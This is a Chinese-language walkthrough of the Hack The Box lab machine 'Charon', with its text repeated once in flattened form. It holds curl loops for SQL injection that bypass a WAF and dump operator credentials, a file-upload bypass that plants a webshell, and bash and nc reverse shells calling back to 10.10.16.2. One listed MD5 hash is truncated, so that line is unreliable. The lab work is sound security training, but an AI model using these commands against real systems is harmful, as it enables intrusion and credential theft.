HTB:CHARON渗透测试
字数 1206 2025-08-12 11:34:14

HTB: Charon 渗透测试教学文档

靶机概述

  • 靶机名称: Charon
  • 难度等级: 中级(3.5/10)
  • 发布日期: 2017年10月7日
  • 特点: 不需要高级技术,但每个步骤都需要巧妙技巧

初始信息收集

1. 端口扫描

使用nmap扫描发现开放服务:

  • OpenSSH
  • Apache (HTTP服务)

2. 目录扫描

使用gobuster进行目录扫描:

gobuster dir -u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40

发现重要目录:

  • /cmsdata - 包含登录界面

漏洞利用

3. SQL注入漏洞

发现注入点

  • 在忘记密码功能(/cmsdata/forgot.php)发现SQL注入
  • 输入'导致报错,输入"提示找不到email

绕过WAF

  • 发现WAF拦截UNION SELECT语句
  • 解决方案: 使用大写字母UNIoN SELECT绕过

枚举数据库信息

使用脚本枚举数据库:

for i in {0..100}; do 
  curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; 
done | cut -d'>' -f2

获取管理员凭据

使用联合查询获取用户名和密码:

for i in $(seq 0 300); do 
  payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
  curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done

获取到:

  • 用户名: super_cms_adm
  • 密码哈希: 0b0689ba94f94533400f4decd87fa260 (MD5)

4. 密码破解

使用MD5解密工具破解出明文密码:

  • 哈希: 0b0689ba94f94533400f4decd87fa260superpassword
  • 哈希: 5f4dcc3b5aa765d61d8327deb8password

文件上传漏洞利用

5. 初始上传测试

  • 直接上传.php文件被拦截
  • 尝试.php.jpg格式可上传但无法解析

6. 绕过上传限制

发现上传响应中包含base64编码字段,分析后发现:

  1. 修改前端代码绕过:

    • 将name属性改为testfile1
    • 上传.php.jpg格式文件
  2. 成功上传webshell后执行命令:

bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261

或使用nc反弹shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f

权限提升

7. 获取用户权限

  • /home/decoder目录发现两个密钥文件
  • 使用nc下载密钥文件到本地

8. 破解RSA密钥

使用RsaCtfTool进行暴力破解:

# 安装依赖
sudo apt install libmpc-dev libgmp3-dev sagemath
pip3 install -r requirements.txt

# 使用工具破解
python3 RsaCtfTool.py --key private.key --uncipher cipher.bin

成功解密后获取SSH登录凭据

9. SSH登录获取user flag

使用破解的凭据通过SSH登录获取第一个flag

10. 提权至root

查找SUID文件:

find / -perm -4000 -ls 2>/dev/null

发现可利用的supershell程序,使用它读取root.txt获取第二个flag

总结与关键技术点

  1. SQL注入技巧:

    • 使用UNION SELECT大写绕过WAF
    • 使用LIMIT和OFFSET枚举数据
    • 使用GROUP_CONCAT合并查询结果
  2. 文件上传绕过:

    • 修改前端代码绕过限制
    • 分析服务器响应寻找突破口
  3. 权限提升路径:

    • 查找和利用SUID文件
    • 使用专用工具破解加密密钥
  4. 反弹shell方法:

    • 多种反弹shell命令适应不同环境
    • 使用nc建立稳定连接

建议在实际测试中注意每个步骤的细节,特别是WAF绕过和文件上传限制的多种绕过方法。

HTB: Charon 渗透测试教学文档 靶机概述 靶机名称: Charon 难度等级: 中级(3.5/10) 发布日期: 2017年10月7日 特点: 不需要高级技术,但每个步骤都需要巧妙技巧 初始信息收集 1. 端口扫描 使用nmap扫描发现开放服务: OpenSSH Apache (HTTP服务) 2. 目录扫描 使用gobuster进行目录扫描: 发现重要目录: /cmsdata - 包含登录界面 漏洞利用 3. SQL注入漏洞 发现注入点 在忘记密码功能( /cmsdata/forgot.php )发现SQL注入 输入 ' 导致报错,输入 " 提示找不到email 绕过WAF 发现WAF拦截UNION SELECT语句 解决方案: 使用大写字母 UNIoN SELECT 绕过 枚举数据库信息 使用脚本枚举数据库: 获取管理员凭据 使用联合查询获取用户名和密码: 获取到: 用户名: super_cms_adm 密码哈希: 0b0689ba94f94533400f4decd87fa260 (MD5) 4. 密码破解 使用MD5解密工具破解出明文密码: 哈希: 0b0689ba94f94533400f4decd87fa260 → superpassword 哈希: 5f4dcc3b5aa765d61d8327deb8 → password 文件上传漏洞利用 5. 初始上传测试 直接上传.php文件被拦截 尝试.php.jpg格式可上传但无法解析 6. 绕过上传限制 发现上传响应中包含base64编码字段,分析后发现: 修改前端代码绕过: 将name属性改为 testfile1 上传 .php.jpg 格式文件 成功上传webshell后执行命令: 或使用nc反弹shell: 权限提升 7. 获取用户权限 在 /home/decoder 目录发现两个密钥文件 使用nc下载密钥文件到本地 8. 破解RSA密钥 使用RsaCtfTool进行暴力破解: 成功解密后获取SSH登录凭据 9. SSH登录获取user flag 使用破解的凭据通过SSH登录获取第一个flag 10. 提权至root 查找SUID文件: 发现可利用的 supershell 程序,使用它读取root.txt获取第二个flag 总结与关键技术点 SQL注入技巧 : 使用UNION SELECT大写绕过WAF 使用LIMIT和OFFSET枚举数据 使用GROUP_ CONCAT合并查询结果 文件上传绕过 : 修改前端代码绕过限制 分析服务器响应寻找突破口 权限提升路径 : 查找和利用SUID文件 使用专用工具破解加密密钥 反弹shell方法 : 多种反弹shell命令适应不同环境 使用nc建立稳定连接 建议在实际测试中注意每个步骤的细节,特别是WAF绕过和文件上传限制的多种绕过方法。